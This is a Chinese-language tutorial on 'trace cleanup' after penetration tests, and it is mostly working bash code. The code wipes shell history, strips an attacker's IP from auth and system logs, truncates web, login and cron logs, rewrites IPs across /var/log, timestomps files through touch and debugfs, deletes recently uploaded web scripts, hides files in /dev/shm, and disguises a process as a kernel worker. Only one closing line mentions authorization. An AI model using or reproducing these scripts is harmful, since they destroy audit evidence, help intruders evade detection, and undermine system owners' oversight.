痕迹清理脚本

概述

渗透测试完成后,需要清理操作痕迹以保持隐蔽性。本文详细介绍 bash 环境下的痕迹清理技术,包括历史记录清除、日志篡改、时间戳修改和临时文件清理。

核心理念

  • 操作前备份:清理前备份关键日志以便恢复
  • 选择性清理:只清除自己的操作痕迹
  • 时间窗口:控制清理操作的时间范围
  • 隐蔽清理:避免清理操作本身留下痕迹

1. bash_history 清除

#!/usr/bin/env bash
# 痕迹清理工具
 
clean_bash_history() {
    local user="${1:-$(whoami)}"
    echo "[*] 清除 bash_history: $user"
 
    # 清除当前会话历史
    history -c
    history -w
 
    # 清除历史文件
    local history_files=(
        "/home/${user}/.bash_history"
        "/root/.bash_history"
        "/tmp/.bash_history"
    )
 
    for hfile in "${history_files[@]}"; do
        if [[ -f "$hfile" ]]; then
            # 用无关内容覆盖
            dd if=/dev/urandom bs=1024 count=10 2>/dev/null | base64 > "$hfile"
            # 或直接清空
            : > "$hfile"
            echo "[+] 已清除: $hfile"
        fi
    done
 
    # 清除内存中的历史
    unset HISTFILE
    export HISTSIZE=0
    export HISTFILESIZE=0
    echo "[+] bash_history 已清除"
}
 
# 选择性清除(只清除特定命令)
selective_history_clean() {
    local pattern="$1"
    echo "[*] 选择性清除历史: $pattern"
 
    if [[ -f ~/.bash_history ]]; then
        grep -v "$pattern" ~/.bash_history > /tmp/clean_history
        mv /tmp/clean_history ~/.bash_history
        echo "[+] 已移除匹配 '$pattern' 的历史记录"
    fi
}

2. 日志篡改

clean_auth_logs() {
    echo "[*] 清理认证日志..."
    local log_files=(
        "/var/log/auth.log"
        "/var/log/secure"
        "/var/log/syslog"
        "/var/log/messages"
    )
 
    for logfile in "${log_files[@]}"; do
        if [[ -f "$logfile" ]]; then
            # 提取并删除包含特定 IP 的行
            local attacker_ip="${1:-$(curl -s ifconfig.me)}"
            grep -v "$attacker_ip" "$logfile" > "${logfile}.clean"
            mv "${logfile}.clean" "$logfile"
            echo "[+] 已从 $logfile 中移除 $attacker_ip 的记录"
        fi
    done
}
 
clean_web_logs() {
    local web_root="${1:-/var/www/html}"
    echo "[*] 清理 Web 访问日志..."
 
    local log_dirs=(
        "/var/log/apache2"
        "/var/log/nginx"
        "/usr/local/apache2/logs"
    )
 
    for logdir in "${log_dirs[@]}"; do
        if [[ -d "$logdir" ]]; then
            find "$logdir" -name "access*.log*" -exec truncate -s 0 {} \;
            echo "[+] 已清空 $logdir 下的访问日志"
        fi
    done
}
 
# 修改日志内容(替换 IP)
modify_logs() {
    local old_ip="$1" new_ip="$2"
    echo "[*] 修改日志中的 IP: $old_ip -> $new_ip"
 
    find /var/log -type f -name "*.log" -exec sed -i "s/$old_ip/$new_ip/g" {} \; 2>/dev/null
    echo "[+] 日志修改完成"
}

3. 时间戳修改

# 使用 touch 修改文件时间戳
modify_timestamp() {
    local file="$1"
    local timestamp="${2:-$(date -d '3 days ago' '+%Y%m%d%H%M')}"
 
    touch -t "$timestamp" "$file"
    echo "[+] 时间戳已修改: $file -> $timestamp"
}
 
# 批量修改目录下所有文件的时间戳
batch_modify_timestamp() {
    local dir="$1"
    local timestamp="${2:-$(date -d '7 days ago' '+%Y%m%d%H%M')}"
 
    find "$dir" -type f -exec touch -t "$timestamp" {} \;
    echo "[+] 批量时间戳修改完成: $dir"
}
 
# 使用 timestomp 精确修改
advanced_timestomp() {
    local file="$1"
    local access_time="${2:-202301011200}"
    local modify_time="${3:-202301011200}"
    local change_time="${4:-202301011200}"
 
    # 修改访问时间
    touch -a -t "$access_time" "$file"
    # 修改修改时间
    touch -m -t "$modify_time" "$file"
    # 使用 debugfs 修改 inode 时间(需要 root)
    if [[ $EUID -eq 0 ]]; then
        local inode
        inode=$(stat -c %i "$file")
        local device
        device=$(df "$file" | tail -1 | awk '{print $1}')
        echo "set_inode_field ${device} ${inode} atime ${access_time}" | debugfs -w "$device" 2>/dev/null
    fi
    echo "[+] 高级时间戳修改完成"
}

4. 临时文件清理

clean_temp_files() {
    echo "[*] 清理临时文件..."
 
    # 清理 /tmp 下的可疑文件
    find /tmp -type f \( -name "*.sh" -o -name "*.py" -o -name "*.pl" -o -name "*.bin" \) \
        -mtime -7 -delete 2>/dev/null
 
    # 清理共享内存
    find /dev/shm -type f -delete 2>/dev/null
 
    # 清理回收站
    rm -rf ~/.local/share/Trash/* 2>/dev/null
 
    # 清理最近文件记录
    rm -rf ~/.local/share/recently-used.xbel 2>/dev/null
    rm -rf ~/.recently-used* 2>/dev/null
 
    # 清理缩略图
    rm -rf ~/.thumbnails/* 2>/dev/null
    rm -rf ~/.cache/thumbnails/* 2>/dev/null
 
    echo "[+] 临时文件清理完成"
}
 
clean_uploads() {
    echo "[*] 清理上传目录..."
    find /var/www -type f \( -name "*.php" -o -name "*.asp" -o -name "*.jsp" -o -name "*.sh" \) \
        -mtime -1 -delete 2>/dev/null
    echo "[+] 上传文件清理完成"
}

5. 隐蔽操作技巧

# 使用内存文件系统存储敏感操作
setup_ramdisk() {
    local mount_point="/dev/shm/.hidden"
    mkdir -p "$mount_point"
    chmod 700 "$mount_point"
 
    # 所有敏感操作在此目录进行
    cd "$mount_point"
    echo "[+] RAM 磁盘已挂载: $mount_point"
}
 
cleanup_ramdisk() {
    local mount_point="/dev/shm/.hidden"
    if [[ -d "$mount_point" ]]; then
        # 用随机数据覆盖
        dd if=/dev/urandom of="${mount_point}/wipe" bs=1M count=10 2>/dev/null
        rm -rf "$mount_point"
        echo "[+] RAM 磁盘已清理"
    fi
}
 
# 使用 /dev/shm 隐藏文件
hide_in_shm() {
    local file="$1"
    local hidden_name
    hidden_name=$(echo "$file" | md5sum | awk '{print $1}')
    cp "$file" "/dev/shm/.${hidden_name}"
    echo "/dev/shm/.${hidden_name}"
}
 
# 进程伪装
disguise_process() {
    local pid=$$
    # 修改进程名
    exec -a "[kworker/0:0]" bash 2>/dev/null || true
    echo "[+] 进程已伪装"
}
 
# 清除 last/lastb 记录
clean_last_logs() {
    if [[ -f /var/log/wtmp ]]; then
        : > /var/log/wtmp
        echo "[+] wtmp 已清除"
    fi
    if [[ -f /var/log/btmp ]]; then
        : > /var/log/btmp
        echo "[+] btmp 已清除"
    fi
    if [[ -f /var/log/lastlog ]]; then
        : > /var/log/lastlog
        echo "[+] lastlog 已清除"
    fi
}
 
# 清除 cron 日志
clean_cron_logs() {
    if [[ -f /var/log/cron ]]; then
        : > /var/log/cron
        echo "[+] cron 日志已清除"
    fi
}
 
# 清除 utmp/wtmp
clean_utmp() {
    if [[ -f /var/run/utmp ]]; then
        : > /var/run/utmp
        echo "[+] utmp 已清除"
    fi
}

6. 综合清理脚本

full_cleanup() {
    echo "[*] 开始全面痕迹清理..."
 
    clean_bash_history
    clean_auth_logs
    clean_web_logs
    clean_temp_files
    clean_uploads
    clean_last_logs
    clean_cron_logs
    clean_utmp
 
    # 清理当前目录的临时文件
    find . -type f \( -name "*.tmp" -o -name "*.swp" -o -name "*.swo" \) -delete 2>/dev/null
 
    echo "[+] 全面清理完成"
    echo "[!] 建议: 重启服务以清除内存中的痕迹"
}

总结

本文介绍了渗透测试中痕迹清理的 bash 实现:bash_history 清除、日志篡改与替换、时间戳修改、临时文件清理、RAM 磁盘操作和进程伪装等技术。这些操作应在授权范围内使用。